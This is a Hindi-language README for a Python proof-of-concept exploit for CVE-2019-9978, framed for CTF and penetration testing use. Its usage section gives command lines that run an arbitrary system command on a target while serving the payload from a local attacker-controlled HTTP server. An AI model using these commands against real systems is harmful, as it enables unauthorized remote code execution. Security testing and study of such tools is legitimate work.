cve-2019-9978

यह एक स्क्रिप्ट है जो CVE-2019-9978 भेद्यता का सीधे तरीके से शोषण करने की अनुमति देती है, जिसे कैप्चर द फ्लैग (CTF) चुनौतियों या पेनिट्रेशन परीक्षण के लिए प्रूफ ऑफ कॉन्सेप्ट के रूप में उपयोग करने का इरादा है।

पूर्वापेक्षाएँ

• Python 3
• Requests लाइब्रेरी (pip install requests के साथ इंस्टॉल करें)

उपयोग

1. इस रिपॉजिटरी को क्लोन या डाउनलोड करें।
2. एक टर्मिनल खोलें और स्क्रिप्ट की निर्देशिका पर जाएँ।
3. निम्नलिखित विकल्पों के साथ स्क्रिप्ट चलाएँ:

   ./cve-2019-9978.py -u http://target.com:9999 -c "your_system_command" -l your_ip:your_port
   - `-u` or `--url`: Set the target URL to deliver the payload.
   - `-c` or `--command`: Set the system command to run on the target system.
   - `-l` or `--local`: Set the IP and port for the HTTP server (optional).

4. स्क्रिप्ट एक HTTP सर्वर शुरू करती है, पेलोड को लक्ष्य पर भेजती है, और टर्मिनल में परिणाम प्रदर्शित करती है।

उदाहरण

./cve-2019-9978.py -u http://target.com:9999 -c "id" -l 10.10.13.15:12345

अस्वीकरण

यह कोड केवल शैक्षिक और परीक्षण उद्देश्यों के लिए है। उचित प्राधिकरण के बिना सिस्टम पर अनधिकृत उपयोग अवैध और अनैतिक है। इसका जिम्मेदारी से उपयोग करें।